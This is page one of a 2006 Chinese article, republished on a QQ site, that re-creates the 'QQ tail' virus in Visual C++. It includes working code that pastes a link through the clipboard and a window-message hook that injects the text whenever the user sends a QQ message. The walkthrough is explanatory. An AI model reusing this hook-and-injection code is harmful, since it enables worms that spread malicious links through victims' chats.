您现在的位置: 血型网 - QQ安全 - QQ尾巴病毒的Visual C++实现探讨

 

QQ尾巴病毒的Visual C++实现探讨



添加记录:  类别: QQ安全 发布日期: 2006.08.02

  

自2003起,QQ尾巴病毒可以算是风光了一阵子。它利用IE的邮件头漏洞在QQ上疯狂传播。中毒者在给别人发信息时,病毒会自动在信息文本的后边添上一句话,话的内容多种多样,总之就是希望信息的接收者点击这句话中的URL,成为下一个中毒者。

  下面我将要讨论的,就是QQ尾巴病毒使用的这一技术。由于病毒的源代码无法获得,所以以下的代码全是我主观臆断所得,所幸的是效果基本与病毒本身一致。

  粘贴尾巴

  首先的一个最简单的问题是如何添加文本。这一技术毫无秘密可言,就是通过剪贴板向QQ消息的那个RichEdit“贴”上一句话而已。代码如下:

TCHAR g_str[] = "欢迎来我的小站坐坐:http://dev.yesky.com";// 函数功能:向文本框中粘贴尾巴void PasteText(HWND hRich){ HGLOBAL hMem; LPTSTR pStr; // 分配内存空间 hMem = GlobalAlloc(GHND | GMEM_SHARE, sizeof(g_str)); pStr = GlobalLock(hMem); lstrcpy(pStr, g_str); GlobalUnlock(hMem); OpenClipboard(NULL); EmptyClipboard(); // 设置剪贴板文本 SetClipboardData(CF_TEXT, hMem); CloseClipboard(); // 释放内存空间 GlobalFree(hMem); // 粘贴文本 SendMessage(hRich, WM_PASTE, 0, 0);} 

  钩子

  好了,那么下面的问题是,这段文本应该在什么时候贴呢?网上有一些研究QQ尾巴实现的文章指出,可以用计时器来控制粘贴的时间,类似这个样子:

void CQQTailDlg::OnTimer(UINT nIDEvent){PasteText(hRich);}

  这的确是一种解决的手段,然而它也存在着极大的局限性——计时器的间隔如何设置?也许中毒者正在打字,尾巴文本“唰”的出现了……

  然而病毒本身却不是这样子,它能够准确地在你单击“发送”或按下Ctrl+Enter键的时候将文本粘贴上。2003年1月份我的一台P2曾经中过毒,由于系统速度较慢,所以可以很清楚地看见文本粘贴的时机。

  讲到这里,我所陈述的这些事实一定会让身为读者的你说:钩子!——对,就是钩子,下面我所说的正是用钩子来真实地再现“QQ尾巴病毒”的这一技术。

  首先我对钩子做一个简要的介绍,已经熟悉钩子的朋友们可以跳过这一段。所谓Win32钩子(hook)并不是铁钩船长那只人工再现的手臂,而是一段子程序,它可以用来监视、检测系统中的特定消息,并完成一些特定的功能。打个比方来说,你的程序是皇帝,Windows系统充当各省的巡抚;至于钩子,则可以算是皇上的一个钦差。譬如皇帝下旨在全国收税,然后派了一个钦差找到山西巡抚说:“皇上有旨,山西除正常赋税外,加收杏花村酒十坛。”(-_-#……)正如皇帝可以用这种方法来特殊对待特定的巡抚一样,程序员也可以用钩子来捕获处理Windows系统中特定的消息。

  问题具体到了“QQ尾巴病毒”上边,就是我们需要一个钩子,在用户单击了“发送”按钮之后,粘贴我们的文本。我所实现的这段钩子过程为(至于如何挂接这个钩子,我会在稍后说明):

// 钩子过程,监视“发送”的命令消息LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam){ CWPSTRUCT *p = (CWPSTRUCT *)lParam; // 捕获“发送”按钮 if (p->message == WM_COMMAND && LOWORD(p->wParam) == 1)  PasteText(g_hRich); return CallNextHookEx(g_hProc, nCode, wParam, lParam);}

  在此我对这个回调过程说明几点:

  1、lParam是一个指向CWPSTRUCT结构的指针,这个结构的描述如下:

typedef struct { LPARAM lParam; WPARAM wParam; UINT message; HWND hwnd;} CWPSTRUCT, *PCWPSTRUCT;

  这时候像我一样的SDK fans也许会会心一笑:这不是窗口回调的那四个铁杆参数么?如你所说,的确是这样,你甚至可以使用switch (p->message) { /* ... */ }这样的代码写成的钩子函数来全面接管QQ窗口。

  2、g_hRich是一个全局变量,它保存的是QQ消息文本框的句柄。这里之所以采用全局变量,是因为我无法从键盘钩子回调函数的参数中获得这个句柄。至于如何获得这个句柄以及这个全局变量的特殊位置,我会在稍后说明。

  3、CallNextHookEx是调用钩子链中的下一个处理过程,换了钦差就会说:“十坛杏花村酒本钦差已经替皇上收下了,现在请巡抚大人把贵省正常的赋税交上来吧。”(-_-#……)这是书写钩子函数中很重要的一个环节,如果少了这一句,那么可能会导致系统的钩子链出现错误,某些程序也会没有响应——事实上我在编写这个仿真程序的时候QQ就当掉了几回。

  4、你也许会问为什么我捕获的是WM_COMMAND消息,这个原因让我来用下面的SDK代码(虽然QQ是用MFC写的,但是用SDK代码才能说明WM_COMMAND和“发送”按钮的关系)来说明:

#define IDC_BTN_SENDMSG 1 // “发送”按钮ID的宏定义// QQ发送消息对话框回调过程·李马伪造版LRESULT CALLBACK ProcSendDlg(HWND hDlg, UINT Msg, WPARAM wParam, LPARAM lParam){ switch (Msg) {  case WM_CLOSE:   EndDialog(hDlg, 0);   break;  case WM_COMMAND:  {   switch (LOWORD(wParam))   {    case IDC_BTN_SENDMSG:     // 发送消息...     break;     // 其它的命令按钮处理部分...   }  }  break;  // 其它的case部分... } return 0;}

  消息发送的整个过程是:当用户单击了“发送”按钮后,这个按钮的父窗口(也就是“发送消息”的对话框)会收到一条WM_COMMAND的通知消息,其中wParam的低位字(即LOWORD(wParam))为这个按钮的ID,然后再调用代码中发送的部分,这个过程如下图:

  所以,在此我捕获WM_COMMAND消息要比捕获其它消息或挂接鼠标钩子要有效得多。

共2页: 上一页 1 [2] 下一页

上一篇:马化腾大开胃口 欲将所有商业模式纳入腾讯  
下一篇:QQ空间FLASH模块:为谁疯狂 cpro_client='hearmusic_cpr'; cpro_cbd='#trans'; cpro_cbg='#trans'; cpro_ctitle='#090909'; cpro_clink='#000000'; cpro_w=468; cpro_h=15; cpro_template='tlink_default_468_15'; 相关阅读·  QQ发展到现在,虽然只有短短的几年时间,但却已经成为众多网 (2006-09-11)
·QQ辅助软件—QQ密码防盗专家 (2006-09-11)
·让你的QQ号码更安全——QQ密码设置技巧 (2006-09-11)
·与手机有关的三项QQ密码保护服务介绍 (2006-09-11)
·提示QQ号码需要激活无法登录的解决办法 (2006-09-11)
·QQ号码激活的常见问题解答与案例分析 (2006-09-11)
·QQ聊天记录查看器V5.2 绿色版 (2006-10-01)
·QQ病毒专杀工具XPBuild 0903绿色特别版 (2006-10-01)
网站简介 | 广告服务 | 联系方式 | 意见建议 | 网站地图 | 版权声明 | 友情连接

QQ空间 非主流 QQ空间代码 QQ空间模块 非主流图片┆QQ空间代码站 版权所有 24QQ.Cn Copyright©2006 All rights reserved

document.getElementById("gg").innerHTML=document.getElementById("ggcode").innerHTML; document.getElementById("ggcode").innerHTML=""; _uacct = "UA-186809-4"; urchinTracker();
Tags: qq空间 qq空间代码 qq空间模块 非主流 qq空间flash 聊天 qq qq聊天 qq聊天记录 qq号码
顶一下

上一篇:QQ聊天记录查看器V5.2 绿色版 下一篇:  QQ发展到现在,虽然只有短短的几年时间,但却已经

相关信息
  • QQ聊天记录查看器V5.2 绿色版
  • 非常规方法检测机器是否中qq木马
  • QQ留言骗术暴光!
  • U盘传病毒 QQ用户要警惕
  • 新型网络诈骗 盗QQ线上好友行骗
  • 巧妙利用Hosts文件防止QQ病毒的侵害
  • 流氓软件携病毒大面积爆发 今日上网小心查杀
  • 冒充好友QQ发来点歌信息 听一首歌竟花了12元
  • 11.18预警:木马盗QQ及中国游戏中心帐号
  • 看清QQ密码盗窃伎俩 防止QQ号码丢失
  • 北京网络行业协会、江民科技联合发布11月20日病毒播报
  • 巧妙利用Hosts文件防止QQ病毒的侵害
  • 通过移动储存器传播的QQ盗号木马
  • 虚拟QQ币引发盗窃新花头
  • 流氓软件寄生QQ中运行安全软件就关机
  •   QQ发展到现在,虽然只有短短的几年时间,但却已经
  • 让你的QQ号码更安全——QQ密码设置技巧
  • Qzone地址为木马载体,成为黑客利器
  • 找回QQ、QQ相关防盗绝招?
  • 谈谈QQ申诉的经验?
  •  

    [星座算命·免费]
    更多内容


    [爱情速配·免费]
    更多内容


    [免费算命·热门]
    更多内容


     
      友情链接::